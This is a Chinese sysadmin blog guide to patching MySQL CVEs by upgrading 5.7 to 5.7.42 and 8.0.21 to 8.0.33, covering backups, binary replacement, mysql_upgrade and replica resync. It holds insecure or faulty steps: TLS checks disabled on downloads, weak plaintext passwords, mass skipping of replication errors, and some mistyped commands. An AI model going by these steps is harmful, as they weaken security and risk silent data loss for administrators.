Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册
作者:mmseoamin日期:2023-12-20

一、背景

某次安全漏扫,发现MySQL大量漏洞,基于Mysql之用于内网,且版本确实有点旧,考虑升级,综合漏洞分析,只能升级到最新版5.7.42和8.0.33,现场环境:Mysql 5.7.28、5.7.20 和mysql:8.0.21

漏洞编号漏洞描述
CVE-2023-21912MySQL 5.7.41 版本及之前版本和 8.0.30 版本及之前版本的 Server: Security: Privileges 组件存在安全漏洞
CVE-2022-37434MySQL 5.7.41版本及之前版本和 8.0.31 版本及之前版本的 Server: InnoDB (zlib)组件存在安全漏洞
CVE-2022-32221MySQL Server 5.7.40及之前版本的Server: Packaging (cURL)组件内不正确的输入验证。
CVE-2023-21980MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Client programs 组件存在安全漏洞;
CVE-2022-43551MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Server: Server: Packaging (cURL) 组件存在安全漏洞

附录:mysql5.7和mysql8.0区别、mysql 8手册、版本说明、mysql5.7手册、阿里云漏洞库

二、升级处理

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第1张

1)升级方式选择,Mysql的两种升级方式:

1、就地升级(In-place Upgrade)

关闭旧版本mysql,用新的替换旧的二进制文件或软件包,在现有数据目录上重启数据库,执行mysql_upgrade

特点:不改变数据文件,升级速度快;但,不可以跨操作系统,不可以跨大版本(5.5—>5.7).

2、逻辑升级(Logical Upgrade)

使用备份或导出实用程序(如mysqldump,Xtrabackup)从旧mysql实例导出SQL ,安装新的mysql数据库版本,再将SQL应用于新的mysql实例。

特点:可以跨操作系统,跨大版本;但,升级速度慢,容易出现乱码等兼容性问题。

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第2张

本案中采用方法1升级替换,更多参考:Mysql 5.7 二进制方式安装

2)升级前准备

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第3张

参考文档:Mysql8升级前准备、Mysql5.7升级、介质。

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第4张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第5张

#rpm包方式:官方推荐解压后yum安装:yum install mysql-community-{server,client,common,libs}-*
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar
#二进制包方式:因我们本次采用源码包编译安装后替代二进制文件方式,旧的版本也是基于glibc2.12的
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-57.42-linux-glibc2.12-x86 64.tar.gz
#合法性验证
md5sum mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar //输出ea9b44d306dcf6e74a4b4832a0a700e3
md5sum mysql-57.42-linux-glibc2.12-x86 64.tar.gz//输出c00530249e4bf6899d1fbf6d3fed4897 
#备份
tar -czf mysql_all.20230621.tar.gz ./mysql
#不锁表备份
./mysql/bin/mysqldump -u root -p --databases db1 db2 --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`.sql  #或--all-databases
#现场,-F 生产新的binlog(--flush-logs),--no-data指导表结构,
./mysql/bin/mysqldump -u root -p --databases spms xxl-job  behavior_sur cr_debug interview --skip-add-drop-table --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`
#排除某些库,导出语句中不输出drop table,create table
mysql -uroot -p'mysql' -N -e "show databases;"|grep -Ev "information_schema|performance_schema|sys|mysql|database1"|xargs mysqldump -uroot -p'123456' --no-create-info --databases > /opt/mysql_db_bak/mysql_`date +%Y%m%d`|gzip >./mysql_`date +%Y%m%d`.sql.gz
#导出后直接导入slave,-C:启用压缩传递
mysqldump --host=master -uroot -p'123456' -C --all-databases  |mysql --host=slave -uroot -p'123456' 
#其他
mysqldump  -uroot -p --all-databases --all-tablespaces  //导出全部表空间
mysqldump  -uroot -p --all-databases --no-tablespaces --add-drop-database   //每个数据库创建之前添加drop数据库语句
mysqldump  -uroot -p --all-databases --add-drop-database --add-drop-table  、、每个数据表创建之前添加drop数据表语句。(默认为打开状态,使用--skip-add-drop-table取消选项)
mysqldump  -uroot -p --all-databases --skip-add-drop-table  //取消drop语句
mysqldump  -uroot -p --host=localhost --all-databases --no-create-db //或-n,只导出数据,而不添加CREATE DATABASE 语句
mysqldump  -uroot -p --host=localhost --all-databases --no-create-info  //-t,只导出数据,而不添加CREATE TABLE 语句

3)关闭mysql,替换二进制进行就地升级(不涉及跨大版本问题)

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第6张

systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
   Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
   Active: active (running) since Wed 2023-04-19 23:25:30 CST; 2 months 2 days ago
     Docs: man:systemd-sysv-generator(8)
  Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
   CGroup: /system.slice/mysqld.service
           ├─2764 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
           └─3108 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#如果没有创建服务,可登录后配置MySQL缓慢关停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
mysql> SET GLOBAL innodb_fast_shutdown=0;
#或直接,缓慢关闭服务的作用:关闭时,InnoDB会在关闭前执行完全purge和变化的缓冲区合并,以确保在版本之间出现文件格式差异时,data files已做好准备。
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#或者重新创建个
cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/
chmod +x /etc/init.d/mysql.server
chkconfig --add mysql.server
chkconfig --list
systemctl stop mysqld
systemctl status mysqld   #验证
● mysqld.service - LSB: start and stop MySQL
   Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
   Active: inactive (dead) since Thu 2023-06-22 12:06:28 CST; 1min 17s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
  Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Jun 22 12:06:16 zq-mysql-master systemd[1]: Stopping LSB: start and stop MySQL...
Jun 22 12:06:28 zq-mysql-master mysqld[23685]: Shutting down MySQL............ SUCCESS!
Jun 22 12:06:28 zq-mysql-master systemd[1]: Stopped LSB: start and stop MySQL.
ps aux|grep mysql
#解压二进制包替换旧mysql
tar -xzf mysql-57.42-linux-glibc2.12-x86 64.tar.gz
mv mysql-5.7.42-linux-glibc2.12-x86_64 mysql-5.7.42
cd mysql-5.7.42
ls  //
bin  docs  include  lib  LICENSE  man  README  share  support-files
#迁移mysql 5.7.42 到原mysql安装目录,比较权限
root@zq-mysql-master local]# ll ./mysql_old/
total 56
drwxr-x---  2 mysql mysql  4096 Sep 18  2019 bin
-rw-r--r--  1 mysql mysql 17987 Sep 13  2017 COPYING
drwxr-x--- 10 mysql mysql  4096 Jun 22 12:06 data
drwxr-x---  2 mysql mysql  4096 Sep 18  2019 docs
drwxr-x---  3 mysql mysql  4096 Sep 18  2019 include
drwxr-x---  5 mysql mysql  4096 Sep 18  2019 lib
drwxr-x---  4 mysql mysql  4096 Sep 18  2019 man
-rw-r--r--  1 mysql mysql  2478 Sep 13  2017 README
drwxr-x--- 28 mysql mysql  4096 Sep 18  2019 share
drwxr-x---  2 mysql mysql  4096 Sep 18  2019 support-files
[root@zq-mysql-master local]# ll ./mysql-5.7.42/
total 284
drwxr-xr-x  2 root root    4096 Jun 22 12:10 bin
drwxr-xr-x  2 root root    4096 Jun 22 12:10 docs
drwxr-xr-x  3 root root    4096 Jun 22 12:10 include
drwxr-xr-x  5 root root    4096 Jun 22 12:10 lib
-rw-r--r--  1 7161 31415 255738 Mar 16 23:25 LICENSE
drwxr-xr-x  4 root root    4096 Jun 22 12:10 man
-rw-r--r--  1 7161 31415    566 Mar 16 23:25 README
drwxr-xr-x 28 root root    4096 Jun 22 12:10 share
drwxr-xr-x  2 root root    4096 Jun 22 12:10 support-files
#授权后迁移data过去到新目录
chown mysql.mysql -R ./mysql-5.7.42/
cp -pr ./mysql_old/data ./mysql-5.7.42/
ll ./mysql-5.7.42/
total 288
drwxr-xr-x  2 mysql mysql   4096 Jun 22 12:10 bin
drwxr-x--- 10 mysql mysql   4096 Jun 22 12:06 data
drwxr-xr-x  2 mysql mysql   4096 Jun 22 12:10 docs
drwxr-xr-x  3 mysql mysql   4096 Jun 22 12:10 include
drwxr-xr-x  5 mysql mysql   4096 Jun 22 12:10 lib
-rw-r--r--  1 mysql mysql 255738 Mar 16 23:25 LICENSE
drwxr-xr-x  4 mysql mysql   4096 Jun 22 12:10 man
-rw-r--r--  1 mysql mysql    566 Mar 16 23:25 README
drwxr-xr-x 28 mysql mysql   4096 Jun 22 12:10 share
drwxr-xr-x  2 mysql mysql   4096 Jun 22 12:10 support-files
#重新启动mysql
systemctl start mysqld
systemctl status mysqld  //报错如下
● mysqld.service - LSB: start and stop MySQL
   Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
   Active: active (exited) since Thu 2023-06-22 12:20:11 CST; 31s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
  Process: 24001 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 239: my_print_defaults: command not found
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 259: cd: /usr/local/mysql: No such file or directory
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: Starting MySQL ERROR! Couldn't find MySQL server (/usr/local/mysql/bin/mysqld_safe)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#报错:
Jun 22 12:34:37 zq-mysql-master polkitd[2119]: Unregistered Authentication Agent for unix-process:24772:549123771 (system bus name :1.2
Jun 22 12:34:37 zq-mysql-master systemd[1]: Unit mysqld.service entered failed state.
Jun 22 12:34:37 zq-mysql-master systemd[1]: mysqld.service failed.
Jun 22 12:36:38 zq-mysql-master polkitd[2119]: Registered Authentication Agent for unix-process:25185:549135938 (system bus name :1.203
Jun 22 12:36:38 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
-- Subject: Unit mysqld.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
-- 
-- Unit mysqld.service has begun starting up.
Jun 22 12:36:39 zq-mysql-master mysqld[25191]: Starting MySQL. ERROR! The server quit without updating PID file (/var/run/mysqld/mysqld
Jun 22 12:36:39 zq-mysql-master systemd[1]: mysqld.service: control process exited, code=exited status=1
Jun 22 12:36:39 zq-mysql-master systemd[1]: Failed to start LSB: start and stop MySQL.
#用以下命令重新启动,注意mysql目录是750的权限,否则会报:mysqld_safe mysqld from pid file /var/run/mysqld/mysql
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
#检查数据库所有表是否与当前版本兼容,并更新系统库
./bin/mysql_upgrade -u root -p  //更新数据库表,它会检查所有数据库中的所有表是否与当前版本的MySQL不兼容。mysqlupgrade还回升级了mysql系统数据库,以便可以利用新的权限或功能。注意:它不会升级时区表或帮助表的内容。
Enter password: 
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv                                 OK
mysql.db                                           OK
mysql.engine_cost                                  OK
mysql.event                                        OK
mysql.func                                         OK
……
mysql.user                                         OK
Found outdated sys schema version 1.5.1.
Upgrading the sys schema.
Checking databases.
cr_debug.breakpoints                               OK
cr_debug.callstack                                 OK
cr_debug.debuggings                                OK
cr_debug.info                                      OK
cr_debug.watches                                   OK
interview.act_evt_log                              OK
interview.act_ge_bytearray                         OK
interview.act_ge_property                          OK
interview.act_hi_actinst                           OK
interview.act_hi_attachment                        OK
interview.act_hi_comment                           OK
interview.act_hi_detail                            OK
interview.act_hi_identitylink                      OK
interview.act_hi_procinst                          OK
interview.act_hi_taskinst                          OK
interview.act_hi_varinst                           OK
interview.act_id_group                             OK
interview.act_id_info                              OK
interview.act_id_membership                        OK
interview.act_id_user                              OK
interview.act_procdef_info                         OK
interview.act_re_deployment                        OK
interview.act_re_model                             OK
interview.act_re_procdef                           OK
interview.act_ru_event_subscr                      OK
interview.act_ru_execution                         OK
interview.act_ru_identitylink                      OK
interview.act_ru_job                               OK
interview.act_ru_task                              OK
interview.act_ru_variable                          OK
interview.area                                     OK
interview.bid_video_meeting                        OK
interview.judges                                   OK
interview.judges_meeting                           OK
interview.notice_staff                             OK
interview.organization                             OK
interview.package_video                            OK
interview.staff                                    OK
interview.sys_captcha                              OK
interview.sys_config                               OK
interview.sys_dictionary                           OK
interview.sys_log                                  OK
interview.sys_menu                                 OK
interview.sys_role                                 OK
interview.sys_role_menu                            OK
interview.sys_sms                                  OK
interview.sys_user                                 OK
interview.sys_user_role                            OK
interview.sys_user_token                           OK
spms.act_evt_log                                   OK
spms.act_ge_bytearray                              OK
spms.act_ge_property                               OK
spms.act_hi_actinst                                OK
spms.act_hi_attachment                             OK
spms.act_hi_comment                                OK
spms.act_hi_detail                                 OK
spms.act_hi_identitylink                           OK
spms.act_hi_procinst                               OK
spms.act_hi_taskinst                               OK
spms.act_hi_varinst                                OK
spms.act_id_group                                  OK
spms.act_id_info                                   OK
spms.act_id_membership                             OK
spms.act_id_user                                   OK
spms.act_procdef_info                              OK
spms.act_re_deployment                             OK
spms.act_re_model                                  OK
spms.act_re_procdef                                OK
spms.act_ru_event_subscr                           OK
spms.act_ru_execution                              OK
spms.act_ru_identitylink                           OK
spms.act_ru_job                                    OK
spms.act_ru_task                                   OK
spms.act_ru_variable                               OK
spms.agency_score                                  OK
spms.apply                                         OK
spms.approve_record                                OK
spms.area                                          OK
spms.bid_video_meeting                             OK
spms.bidding_agency                                OK
spms.bidding_agency_copy                           OK
spms.bidding_agency_staff                          OK
spms.bidding_agency_staff_copy                     OK
spms.desktop_para                                  OK
spms.es_config                                     OK
spms.es_project                                    OK
spms.i_sys_user                                    OK
spms.imp_exp_temp                                  OK
spms.imp_exp_temp_comp                             OK
spms.judges                                        OK
spms.judges_meeting                                OK
spms.meeting_room                                  OK
spms.meeting_room_20220315                         OK
spms.meeting_room_20220323                         OK
spms.meeting_room_20220324                         OK
spms.meeting_room_device                           OK
spms.meeting_room_device_20220315                  OK
spms.meeting_room_device_20220323                  OK
spms.meeting_room_device_20220324                  OK
spms.meeting_room_device_20220830                  OK
spms.meeting_room_device_copy1                     OK
spms.meeting_room_redistribution                   OK
spms.meeting_room_staff                            OK
spms.meeting_room_staff_20220315                   OK
spms.meeting_room_staff_20220323                   OK
spms.meeting_room_staff_20220324                   OK
spms.notice                                        OK
spms.notice_staff                                  OK
spms.online_cloud_user                             OK
spms.online_desktop_user                           OK
spms.online_meeting_room                           OK
spms.online_meeting_room_record                    OK
spms.online_sys_user                               OK
spms.org_bidding_agency                            OK
spms.organization                                  OK
spms.organization_20190822                         OK
spms.organization_20201105                         OK
spms.organization_20211125                         OK
spms.package_appointment                           OK
spms.package_appointment_20221015                  OK
spms.package_document                              OK
spms.package_document_bak                          OK
spms.package_eva_content_record                    OK
spms.package_evaluate_record                       OK
spms.package_expert_extract                        OK
spms.package_expert_scr_record                     OK
spms.package_expert_signature                      OK
spms.package_expert_signature_step                 OK
spms.package_monitor_data                          OK
spms.package_monitor_data_20221018                 OK
spms.package_monitor_data_copy                     OK
spms.package_supplier                              OK
spms.package_video                                 OK
spms.package_video_20221015                        OK
spms.package_video_202210151414                    OK
spms.pdman_db_version                              OK
spms.post                                          OK
spms.project                                       OK
spms.project_20220322                              OK
spms.project_20220505                              OK
spms.project_20220816                              OK
spms.project_bidding_agency                        OK
spms.project_borrow                                OK
spms.project_check                                 OK
spms.project_log                                   OK
spms.project_meeting_room                          OK
spms.project_package                               OK
spms.project_package_abort                         OK
spms.project_tender                                OK
spms.project_tender_20220322                       OK
spms.project_tender_20220513                       OK
spms.push_project_video_record                     OK
spms.qrtz_blob_triggers                            OK
spms.qrtz_calendars                                OK
spms.qrtz_cron_triggers                            OK
spms.qrtz_fired_triggers                           OK
spms.qrtz_job_details                              OK
spms.qrtz_locks                                    OK
spms.qrtz_paused_trigger_grps                      OK
spms.qrtz_scheduler_state                          OK
spms.qrtz_simple_triggers                          OK
spms.qrtz_simprop_triggers                         OK
spms.qrtz_triggers                                 OK
spms.rpt_meeting_room_build                        OK
spms.rpt_project_package_bid                       OK
spms.schedule_job                                  OK
spms.schedule_job_log                              OK
spms.staff                                         OK
spms.staff_copy1                                   OK
spms.step                                          OK
spms.step_post                                     OK
spms.step_post_staff                               OK
spms.sys_captcha                                   OK
spms.sys_config                                    OK
spms.sys_dictionary                                OK
spms.sys_dictionary_bak1223                        OK
spms.sys_log                                       OK
spms.sys_log_2022                                  OK
spms.sys_menu                                      OK
spms.sys_menu_20190802                             OK
spms.sys_menu_copy1                                OK
spms.sys_notice                                    OK
spms.sys_operate                                   OK
spms.sys_role                                      OK
spms.sys_role_menu                                 OK
spms.sys_sms                                       OK
spms.sys_user                                      OK
spms.sys_user_password                             OK
spms.sys_user_role                                 OK
spms.sys_user_role_copy                            OK
spms.sys_user_token                                OK
spms.tb_user                                       OK
spms.tender_bidding_agency                         OK
spms.tmp_project                                   OK
spms.tmp_screen_rec                                OK
spms.upload_log                                    OK
spms.wo                                            OK
spms.wo_recorder                                   OK
sys.sys_config                                     OK
xxl-job.xxl_job_qrtz_blob_triggers                 OK
xxl-job.xxl_job_qrtz_calendars                     OK
xxl-job.xxl_job_qrtz_cron_triggers                 OK
xxl-job.xxl_job_qrtz_fired_triggers                OK
xxl-job.xxl_job_qrtz_job_details                   OK
xxl-job.xxl_job_qrtz_locks                         OK
xxl-job.xxl_job_qrtz_paused_trigger_grps           OK
xxl-job.xxl_job_qrtz_scheduler_state               OK
xxl-job.xxl_job_qrtz_simple_triggers               OK
xxl-job.xxl_job_qrtz_simprop_triggers              OK
xxl-job.xxl_job_qrtz_trigger_group                 OK
xxl-job.xxl_job_qrtz_trigger_info                  OK
xxl-job.xxl_job_qrtz_trigger_log                   OK
xxl-job.xxl_job_qrtz_trigger_logglue               OK
xxl-job.xxl_job_qrtz_trigger_registry              OK
xxl-job.xxl_job_qrtz_triggers                      OK
Upgrade process completed successfully.
Checking if update is needed.
#重启mysql应用升级,使其生效
./bin/mysqladmin -u root -p shutdown
./bin/mysqld_safe --user=mysql --datadir=/path/to/existing-datadir &
//或
systemctl start mysqld
//验证
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
   Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
   Active: active (running) since Thu 2023-06-22 13:35:38 CST; 6s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 2653 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
   CGroup: /system.slice/mysqld.service
           ├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local...
           └─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --data...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Hint: Some lines were ellipsized, use -l to show in full.
//版本验证
mysql -V //输出如下
mysql  Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using  EditLine wrapper

3)备库升级

//主库升级后锁定
mysql> flush tables with read lock;
/bin/mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
/bin/mysqladmin -u root -p shutdown
chown -R mysql.mysql ./mysql-5.7.42/
chmod 750 ./mysql-5.7.42/
mv mysql-5.7.42 mysql
cd mysql
ll //验证
#同上
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
./bin/mysql_upgrade -u root -p 
./bin/mysqladmin -u root -p shutdown
ps aux|grep mysqld
systemctl start mysqld
systemctl status mysqld
mysql -V  //输出如下
mysql  Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using  EditLine wrapper

4)主从一致性恢复

//master上确认
mysql> show master status;
+-------------------+----------+--------------+------------------+-------------------+
| File              | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+-------------------+----------+--------------+------------------+-------------------+
| master-bin.000053 |    80656 |              |                  |                   |
+-------------------+----------+--------------+------------------+-------------------+
1 row in set (0.01 sec)
//从库上确定读位置
ysql> show slave status\G
*************************** 1. row ***************************
               Slave_IO_State: 
                  Master_Host: 172.10.x.x
                  Master_User: repl
                  Master_Port: 3306
                Connect_Retry: 60
              Master_Log_File: master-bin.000052
          Read_Master_Log_Pos: 59086
               Relay_Log_File: slave-relay-bin.000022
                Relay_Log_Pos: 122301
        Relay_Master_Log_File: master-bin.000051
             Slave_IO_Running: No
            Slave_SQL_Running: No
              Replicate_Do_DB: 
          Replicate_Ignore_DB: 
           Replicate_Do_Table: 
       Replicate_Ignore_Table: 
      Replicate_Wild_Do_Table: 
  Replicate_Wild_Ignore_Table: 
                   Last_Errno: 1032
                   Last_Error: Could not execute Update_rows event on table mysql.user; Can't find record in 'user', Error_code: 1032; handler error HA_ERR_KEY_NOT_FOUND; the event's master log master-bin.000051, end_log_pos 123294
//从库上修改读上述Pos
mysql> change master to master_host = '172.16.1.2', master_user = 'repl', master_port=3306, master_password='12345', master_log_file = 'master-bin.000053', master_log_pos=101990;
#如果repl密码忘记,执行如下
mysql> update mysql.user set authentication_string = password ('newpasswd') where user = 'repl' and host = '172.16.1.%'; 
mysql> flush privileges
//一般如果主从同步差别不大的话可跳过错误内容,数据量不大的可重新导入
mysql> set global sql_slave_skip_counter =10000;
mysql> show slave status\G
//待从连接主同步正常后,master上解锁表
mysql> unlock tables;
//观察一段时间,主从正常后,页面验证业务即可

三、其他加固处理

1)可以获取到MySQL/MariaDB/Percona/TiDB Server版本信息,版本泄露,隐藏版本即可

mysql> select version();
#或
telnet mysql_server_ip 3306
#或
nmap -T4 -sC -sV -p 3306 mysql_server_ip #yum -y install wget telnet nmap net-tools
#备份mysql二进制文件
cp /usr/bin/mysql /usr/bin/mysql.bakcp /usr/sbin/mysqld /usr/sbin/mysqld.bak
#编辑修改二进制文件中版本信息;注意:版本号不可为空或删减其他信息,否则可能导致服务无法启用!
vi /usr/bin/mysql #客户端侧,搜索关键字“Linux或Linux”快速定位,修改版本号,建议改为官网最新的稳定版本
vi /usr/bin/mysqld  #服务侧,搜索关键字“--language”快速定位,修改版本号
#完成后,重启服务验证

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第7张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第8张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第9张

2)mysql 8.0和5.7 架构区别

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第10张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第11张

四、Mysql 8.0.21升级到8.0.33

mysql -V  #
mysql  Ver 8.0.21 for Linux on x86_64 (MySQL Community Server - GPL)
#Upgrading MySQL with Directly-Downloaded RPM Packages
wget https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar  //如下
mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
mysql-community-client-8.0.33-1.el7.x86_64.rpm
mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm
mysql-community-common-8.0.33-1.el7.x86_64.rpm
mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm
mysql-community-devel-8.0.33-1.el7.x86_64.rpm
mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-server-8.0.33-1.el7.x86_64.rpm
mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm
mysql-community-test-8.0.33-1.el7.x86_64.rpm
#安装,官方推荐用yum,而非rpm -Uvh
#yum localinstall  mysql-community-{server,client,common,libs}-*
yum localinstall  mysql-community-*
Loaded plugins: auto-update-debuginfo, fastestmirror, versionlock
Repository base is listed more than once in the configuration
Repository updates is listed more than once in the configuration
Repository extras is listed more than once in the configuration
Repository centosplus is listed more than once in the configuration
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
Examining mysql-community-client-8.0.33-1.el7.x86_64.rpm: mysql-community-client-8.0.33-1.el7.x86_64
Marking mysql-community-client-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-client-8.0.21-1.el7.x86_64
Examining mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm: mysql-community-client-plugins-8.0.33-1.el7.x86_64
Marking mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-common-8.0.33-1.el7.x86_64.rpm: mysql-community-common-8.0.33-1.el7.x86_64
Marking mysql-community-common-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-common-8.0.21-1.el7.x86_64
Examining mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm: mysql-community-debuginfo-8.0.33-1.el7.x86_64
Marking mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-devel-8.0.33-1.el7.x86_64.rpm: mysql-community-devel-8.0.33-1.el7.x86_64
Marking mysql-community-devel-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-devel-8.0.21-1.el7.x86_64
Examining mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-embedded-compat-8.0.33-1.el7.x86_64
Marking mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-embedded-compat-8.0.21-1.el7.x86_64
Examining mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm: mysql-community-icu-data-files-8.0.33-1.el7.x86_64
Marking mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-libs-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-8.0.33-1.el7.x86_64
Marking mysql-community-libs-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-8.0.21-1.el7.x86_64
Examining mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-compat-8.0.33-1.el7.x86_64
Marking mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-compat-8.0.21-1.el7.x86_64
Examining mysql-community-server-8.0.33-1.el7.x86_64.rpm: mysql-community-server-8.0.33-1.el7.x86_64
Marking mysql-community-server-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-server-8.0.21-1.el7.x86_64
Examining mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm: mysql-community-server-debug-8.0.33-1.el7.x86_64
Marking mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-test-8.0.33-1.el7.x86_64.rpm: mysql-community-test-8.0.33-1.el7.x86_64
Marking mysql-community-test-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-test-8.0.21-1.el7.x86_64
Resolving Dependencies
--> Running transaction check
---> Package mysql-community-client.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-client.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-client-plugins.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-common.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-common.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-debuginfo.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-devel.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-devel.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-embedded-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-libs.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-libs-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs-compat.x86_64 0:8.0.33-1.el7 will be an update
